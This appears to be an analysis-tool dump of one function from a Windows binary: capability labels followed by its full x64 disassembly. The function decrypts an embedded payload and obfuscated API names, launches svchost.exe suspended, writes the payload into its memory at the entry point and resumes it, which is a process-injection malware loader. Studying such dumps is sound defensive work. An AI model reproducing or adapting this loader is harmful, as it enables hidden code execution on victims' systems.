Function at 0x1400039a0
Capabilities:
Encode data using xor
Link many functions at runtime

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x7e8
call fcn.140001e97
xor r10d, r10d
mov edx, 0x56
lea r9, [rsp + 0xb8]
lea r8, [rsp + 0xc0]
lea rcx, str.51_1A_6D_D9_11_89
mov qword [rsp + 0xc0], r10
mov qword [rsp + 0xb8], r10
mov qword [rsp + 0xb0], r10
mov qword [rsp + 0xa8], r10
mov qword [rsp + 0xa0], r10
mov qword [rsp + 0x98], r10
call fcn.140001ce6
lea r9, [rsp + 0xa8]
lea r8, [rsp + 0xb0]
mov edx, 6
lea rcx, str.C9_B5_07_F2_36_0F
call fcn.140001ce6
lea r9, [rsp + 0x98]
mov edx, 3
lea r8, [rsp + 0xa0]
lea rcx, str.FC_C3_36_7F_48_92
call fcn.140001ce6
mov r15, qword [rsp + 0xb0]
xor ecx, ecx
mov r9, qword [rsp + 0xa8]
mov r8d, 0xff
movzx r10d, byte [r15 + 1]
mov eax, r10d
xor eax, ecx
cdq
idiv r8d
cmp edx, 0x42
je 0x140003a83
inc ecx
cmp ecx, 0x100
jne 0x140003a6b
xor eax, eax
cmp r9, rax
je 0x140003a93
xor byte [r15 + rax], cl
inc rax
jmp 0x140003a85
mov r12, qword [rsp + 0xa0]
mov r9, qword [rsp + 0x98]
xor ecx, ecx
mov r8d, 0xff
movzx r10d, byte [r12 + 1]
mov eax, r10d
xor eax, ecx
cdq
idiv r8d
cmp edx, 0x50
je 0x140003ac9
inc ecx
cmp ecx, 0x100
jne 0x140003ab1
xor eax, eax
cmp r9, rax
je 0x140003ad9
xor byte [r12 + rax], cl
inc rax
jmp 0x140003acb
mov rax, qword [rsp + 0xb8]
xor r13d, r13d
mov rbx, qword [rsp + 0xc0]
lea rdi, [rsp + 0x310]
mov ecx, 0x40
lea rsi, [rsp + 0x310]
mov qword [rsp + 0x58], rax
test rbx, rbx
mov eax, r13d
rep stosd dword [rdi], eax
je 0x140003b1c
cmp qword [rsp + 0x58], 0
sete r14b
jne 0x140003b24
or eax, 0xffffffff
jmp 0x1400045cc
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rsp + 0x58]
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbp, rax
test rax, rax
jne 0x140003b5b
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____HeapAlloc_Failed_With_Error:__d__n
mov edx, eax
call fcn.1400038b0
jmp 0x140003b1c
mov rdi, rsi
mov ecx, 0x100
mov eax, r14d
rep stosb byte [rdi], al
mov ecx, 0x3c
mov eax, r13d
mov rdi, rsi
xor r9d, r9d
rep stosd dword [rdi], eax
mov qword [rsp + 0x192], r9
xor r13d, r13d
mov qword [rsp + 0x198], r9
mov word [rsp + 0x190], 1
mov eax, r13d
mov ecx, r13d
xor r8d, r8d
sar eax, 2
and ecx, 3
cdqe
shl rax, 4
add rax, rsi
mov r9b, byte [r15 + r8]
xor edx, edx
mov r10d, r9d
shr r9b, 1
and r10d, 1
shl r10d, cl
or word [rax + rdx*2], r10w
inc rdx
cmp rdx, 8
jne 0x140003bb3
inc r8
add ecx, 4
cmp r8, 4
jne 0x140003bad
inc r13d
add r15, 4
cmp r13d, 8
jne 0x140003b95
xor eax, eax
lea r14, [rsp + 0x200]
lea rcx, [rsp + 0x320]
movzx edx, word [rcx + rax]
add rax, 2
sar edx, 3
and dx, 0x1111
mov word [rax + r14 - 2], dx
cmp rax, 0x10
jne 0x140003bf9
xor edx, edx
lea rdi, [rsp + 0x190]
test edx, edx
jne 0x140003cd6
mov rcx, r14
call fcn.1400016d0
xor eax, eax
mov dx, word [r14 + rax]
ror dx, 4
xor dx, word [rax + rdi]
mov word [r14 + rax], dx
add rax, 2
cmp rax, 0x10
jne 0x140003c31
mov edx, dword [rsp + 0x19c]
mov ax, word [rsp + 0x19e]
mov word [rsp + 0x19e], dx
mov dx, word [rsp + 0x19a]
mov word [rsp + 0x19c], dx
mov edx, dword [rsp + 0x198]
mov word [rsp + 0x19a], dx
mov dx, word [rsp + 0x196]
xor edx, eax
mov word [rsp + 0x198], dx
mov edx, eax
xor edx, dword [rsp + 0x194]
mov word [rsp + 0x196], dx
mov dx, word [rsp + 0x192]
mov word [rsp + 0x194], dx
mov edx, eax
xor edx, dword [rsp + 0x190]
mov word [rsp + 0x192], dx
mov edx, 1
mov word [rsp + 0x190], ax
jmp 0x140003cf5
cmp edx, 4
jne 0x140003cec
xor edx, edx
mov rcx, r14
call fcn.1400016d0
mov edx, 5
jmp 0x140003cf5
inc edx
cmp edx, 8
jne 0x140003cf5
xor edx, edx
mov eax, r13d
mov ecx, r13d
xor r8d, r8d
sar eax, 2
and ecx, 3
sub eax, 2
cdqe
shl rax, 4
lea r10, [rsi + rax]
lea r9, [rsi + rax + 0x20]
movzx eax, word [r10 + r8]
sar eax, cl
and ax, 0x1111
xor ax, word [r14 + r8]
mov word [r14 + r8], ax
and eax, 0x1111
shl eax, cl
or word [r9 + r8], ax
add r8, 2
cmp r8, 0x10
jne 0x140003d16
inc r13d
cmp r13d, 0x3c
jne 0x140003c1f
mov rax, qword [rsp + 0x58]
movups xmm0, xmmword [r12]
mov rsi, rbp
and rax, 0xfffffffffffffff0
add rax, rbp
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x210]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x3f0]
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0x200]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x60]
movaps xmmword [rsp + 0x400], xmm0
cmp rsi, rax
je 0x140004121
xor r8d, r8d
movups xmm0, xmmword [rbx]
mov r9, rbx
mov qword [rsp + 0x200], r8
mov qword [rsp + 0x208], r8
xor r8d, r8d
mov ecx, r8d
xor edx, edx
lea rax, [rsp + 0x200]
mov r10b, byte [r9 + rdx]
mov r11, rax
mov edi, r10d
shr r10b, 1
and edi, 1
shl edi, cl
or word [rax], di
mov rdi, qword [rsp + 0x70]
add rax, 2
cmp rax, rdi
jne 0x140003dd4
inc rdx
add ecx, 4
cmp rdx, 4
jne 0x140003dc5
inc r8d
add r9, 4
cmp r8d, 4
jne 0x140003dc0
mov rdx, qword [rsp + 0x78]
mov rcx, r11
lea r15, [rsp + 0x3e0]
call fcn.140001c8e
lea rax, [rsp + 0x310]
mov qword [rsp + 0x68], rax
mov rcx, qword [rsp + 0x50]
call fcn.140001c27
mov rcx, qword [rsp + 0x50]
mov edx, 1
call fcn.1400016d0
mov rcx, qword [rsp + 0x50]
mov rdx, r15
sub r15, 0x10
call fcn.140001c8e
mov edi, dword [rsp + 0x200]
mov r11w, word [rsp + 0x202]
mov r12w, word [rsp + 0x20e]
mov eax, dword [rsp + 0x204]
mov r10d, edi
mov ecx, r11d
mov dx, word [rsp + 0x206]
mov r9d, dword [rsp + 0x208]
ror cx, 4
ror ax, 4
xor eax, dword [rsp + 0x204]
mov r8w, word [rsp + 0x20a]
ror r10w, 4
ror r12w, 4
xor ecx, r11d
xor r12w, word [rsp + 0x20e]
xor r10d, edi
mov r13d, dword [rsp + 0x20c]
rol r11w, 4
rol di, 4
mov r14d, r10d
xor r10d, r12d
ror dx, 4
ror r14w, 4
xor r10d, r11d
mov r11d, ecx
xor edi, r12d
ror r11w, 4
xor dx, word [rsp + 0x206]
xor edi, r14d
ror r9w, 4
ror r8w, 4
xor r10d, r11d
ror r13w, 4
mov r14d, edi
mov r11d, dword [rsp + 0x204]
xor r9d, dword [rsp + 0x208]
xor r13d, dword [rsp + 0x20c]
xor r8w, word [rsp + 0x20a]
rol r11w, 4
xor r11d, ecx
mov ecx, eax
ror cx, 4
xor r11d, ecx
mov cx, word [rsp + 0x206]
xor eax, r12d
rol cx, 4
xor eax, ecx
mov ecx, edx
xor edx, r12d
ror r12w, 4
ror cx, 4
xor eax, ecx
mov ecx, dword [rsp + 0x208]
rol cx, 4
xor edx, ecx
mov ecx, r9d
ror cx, 4
xor edx, ecx
mov cx, word [rsp + 0x20a]
rol cx, 4
xor ecx, r9d
mov r9d, r8d
ror r9w, 4
xor ecx, r9d
mov r9d, dword [rsp + 0x20c]
rol r9w, 4
xor r9d, r8d
mov r8d, r13d
ror r8w, 4
xor r9d, r8d
mov r8w, word [rsp + 0x20e]
rol r8w, 4
xor r8d, r13d
mov r13d, r9d
xor r8d, r12d
rol r13w, 8
xor r13d, r9d
mov r12d, r8d
xor r14d, r13d
rol r12w, 8
mov word [rsp + 0x200], r14w
xor r12d, r8d
mov r14d, r13d
xor r14d, r12d
xor r14d, r10d
mov word [rsp + 0x202], r14w
mov r14d, edi
xor edi, r11d
rol r14w, 8
xor r14d, edi
mov edi, r10d
xor r10d, eax
rol di, 8
xor r14d, r12d
mov word [rsp + 0x204], r14w
xor edi, r10d
mov r10d, r11d
rol r11w, 8
xor r10d, edx
xor edi, r13d
xor r10d, r13d
mov word [rsp + 0x206], di
xor r10d, r11d
xor r10d, r12d
mov word [rsp + 0x208], r10w
mov r10d, eax
xor eax, ecx
rol r10w, 8
xor eax, r10d
xor eax, r12d
mov word [rsp + 0x20a], ax
mov eax, edx
xor edx, r9d
xchg al, ah
xor eax, edx
mov word [rsp + 0x20c], ax
mov eax, ecx
xor ecx, r8d
xchg al, ah
xor eax, ecx
mov word [rsp + 0x20e], ax
mov rax, qword [rsp + 0x68]
cmp r15, rax
jne 0x140003e2b
mov rcx, qword [rsp + 0x50]
call fcn.140001c27
mov rcx, qword [rsp + 0x50]
mov edx, 1
call fcn.1400016d0
mov rcx, qword [rsp + 0x50]
mov rdx, r15
mov r11, rsi
xor r9d, r9d
call fcn.140001c8e
mov r10d, r9d
xor r8d, r8d
xor edx, edx
xor edi, edi
mov rax, qword [rsp + 0x50]
mov ecx, r10d
movzx eax, word [rax + rdx*2]
sar eax, cl
mov ecx, edx
inc rdx
and eax, 1
shl eax, cl
or edi, eax
cmp rdx, 8
jne 0x1400040bd
mov byte [r11 + r8], dil
inc r8
add r10d, 4
cmp r8, 4
jne 0x1400040b9
inc r9d
add r11, 4
cmp r9d, 4
jne 0x1400040b3
xor eax, eax
lea rcx, [rsp + 0x400]
mov dl, byte [rcx + rax]
xor byte [rsi + rax], dl
inc rax
cmp rax, 0x10
jne 0x140004105
add rsi, 0x10
add rbx, 0x10
jmp 0x140003d8e
movabs rax, 0x57581e0005000000
lea rsi, [rsp + 0xe6]
movabs rdx, 0x130c00131a0a2410
mov r8d, 0xc
mov qword [rsp + 0xe6], rax
mov rcx, rsi
movabs rax, 0x1e090f5c57581e
lea rdi, [rsp + 0xf3]
mov qword [rsp + 0xeb], rax
lea r14, [rsp + 0x102]
movabs rax, 0x33000602000020
lea r12, [rsp + 0x113]
mov qword [rsp + 0xf3], rax
movabs rax, 0x25101617000a00
lea r13, [rsp + 0x125]
lea rbx, [rsp + 0xcd]
mov qword [rsp + 0xfa], rax
movabs rax, 0x402060d33000020
mov qword [rsp + 0x102], rax
movabs rax, 0x61d163516050020
mov qword [rsp + 0x113], rax
movabs rax, 0x1d05391703000020
mov qword [rsp + 0x10a], rdx
movabs rdx, 0xb081729160101
mov qword [rsp + 0x125], rax
movabs rax, 0x202270910000020
mov qword [rsp + 0x11b], rdx
movabs rdx, 0x1804173a1a01120a
mov qword [rsp + 0xcd], rax
movabs rax, 0xd26160807000020
mov qword [rsp + 0x12d], rdx
lea rdx, [0x140006154]
mov qword [rsp + 0xd9], rax
movabs rax, 0x170417010d2616
mov qword [rsp + 0xde], rax
mov byte [rsp + 0x112], 0
mov word [rsp + 0x123], 0x1c
mov dword [rsp + 0x134], 0x100018
mov dword [rsp + 0xd5], 0x90f0b
call fcn.140001ca5
mov r8d, 0xe
lea rdx, [0x140006158]
mov rcx, rdi
call fcn.140001ca5
mov r8d, 0x10
lea rdx, [0x14000615c]
mov rcx, r14
call fcn.140001ca5
mov r8d, 0x11
lea rdx, [0x140006160]
mov rcx, r12
call fcn.140001ca5
mov r8d, 0x12
lea rdx, [0x140006164]
mov rcx, r13
call fcn.140001ca5
mov r8d, 0xb
lea rdx, [0x140006168]
mov rcx, rbx
call fcn.140001ca5
lea rax, [rsp + 0xd9]
mov r8d, 0xc
lea rdx, [0x14000616c]
mov rcx, rax
mov qword [rsp + 0x50], rax
call fcn.140001ca5
lea rcx, str.Decrypted_function_names:
call sub.api_ms_win_crt_stdio_l1_1_0.dll_puts
mov rdx, rsi
lea rcx, str.ker:__s_n
call fcn.1400038b0
mov rdx, rdi
lea rcx, str.cre:__s_n
call fcn.1400038b0
mov rdx, r14
lea rcx, str.get:__s_n
call fcn.1400038b0
mov rdx, r12
lea rcx, str.red:__s_n
call fcn.1400038b0
mov rdx, r13
lea rcx, str.wri:__s_n
call fcn.1400038b0
mov rdx, rbx
lea rcx, str.clo:__s_n
call fcn.1400038b0
mov rdx, qword [rsp + 0x50]
lea rcx, str.res:__s_n
call fcn.1400038b0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rcx, str.Failed_to_get_handle_to_kernel32.dll
mov rsi, rax
test rax, rax
je 0x140004402
mov rdx, rdi
mov rcx, rax
mov rdi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rdi
mov rdx, r14
mov rcx, rsi
mov r15, rax
call rdi
mov rdx, r12
mov rcx, rsi
mov r14, rax
call rdi
mov rdx, r13
mov rcx, rsi
mov r12, rax
call rdi
mov rdx, rbx
mov rcx, rsi
mov r13, rax
call rdi
mov rcx, rsi
mov rdx, qword [rsp + 0x50]
mov rbx, rax
call rdi
mov rsi, rax
test r15, r15
je 0x1400043fb
test r14, r14
je 0x1400043fb
test r12, r12
je 0x1400043fb
test r13, r13
je 0x1400043fb
test rbx, rbx
je 0x1400043fb
test rax, rax
jne 0x140004411
lea rcx, str.Failed_to_resolve_one_or_more_functions
call sub.api_ms_win_crt_stdio_l1_1_0.dll_puts
mov eax, 1
jmp 0x1400045cc
xor eax, eax
mov ecx, 0x19
xor r9d, r9d
lea rdx, [rsp + 0x194]
mov qword [rsp + 0x90], rax
lea r8, [rsp + 0x190]
mov rdi, rdx
mov qword [rsp + 0x88], rax
lea rdx, [rsp + 0x138]
mov qword [rsp + 0x80], rax
xor eax, eax
rep stosd dword [rdi], eax
mov rdi, rdx
mov ecx, 6
mov dword [rsp + 0x190], 0x68
rep stosd dword [rdi], eax
xor ecx, ecx
mov qword [rsp + 0x48], rdx
xor edx, edx
mov qword [rsp + 0x40], r8
xor r8d, r8d
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x30], rdx
xor edx, edx
mov dword [rsp + 0x20], ecx
lea rcx, str.C:WindowsSystem32_svchost.exe
mov dword [rsp + 0x28], 4
call r15
test eax, eax
je 0x140004407
mov rcx, qword [rsp + 0x140]
lea rdx, [rsp + 0x310]
mov dword [rsp + 0x340], 0x10000b
call r14
test eax, eax
je 0x14000455a
mov rax, qword [rsp + 0x398]
lea rdi, [rsp + 0x88]
mov rcx, qword [rsp + 0x138]
mov r9d, 8
mov qword [rsp + 0x20], rdi
lea r8, [rsp + 0x90]
lea rdx, [rax + 0x10]
call r12
test eax, eax
je 0x14000455a
mov qword [rsp + 0x20], rdi
mov rdx, qword [rsp + 0x90]
mov r9d, 0x40
lea r8, [rsp + 0x150]
mov rcx, qword [rsp + 0x138]
call r12
test eax, eax
je 0x14000455a
movsxd rdx, dword [rsp + 0x18c]
mov qword [rsp + 0x20], rdi
mov r9d, 0x108
lea r8, [rsp + 0x200]
add rdx, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x138]
call r12
test eax, eax
jne 0x140004564
mov rcx, qword [rsp + 0x140]
jmp 0x1400045ad
lea rax, [rsp + 0x80]
mov edx, dword [rsp + 0x228]
mov r9, qword [rsp + 0x58]
mov r8, rbp
mov rcx, qword [rsp + 0x138]
mov qword [rsp + 0x20], rax
add rdx, qword [rsp + 0x90]
call r13
mov rcx, qword [rsp + 0x140]
test eax, eax
je 0x1400045ad
call rsi
mov rcx, qword [rsp + 0x140]
inc eax
jne 0x1400045be
call rbx
mov rcx, qword [rsp + 0x138]
call rbx
jmp 0x140004407
call rbx
mov rcx, qword [rsp + 0x138]
call rbx
xor eax, eax
add rsp, 0x7e8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret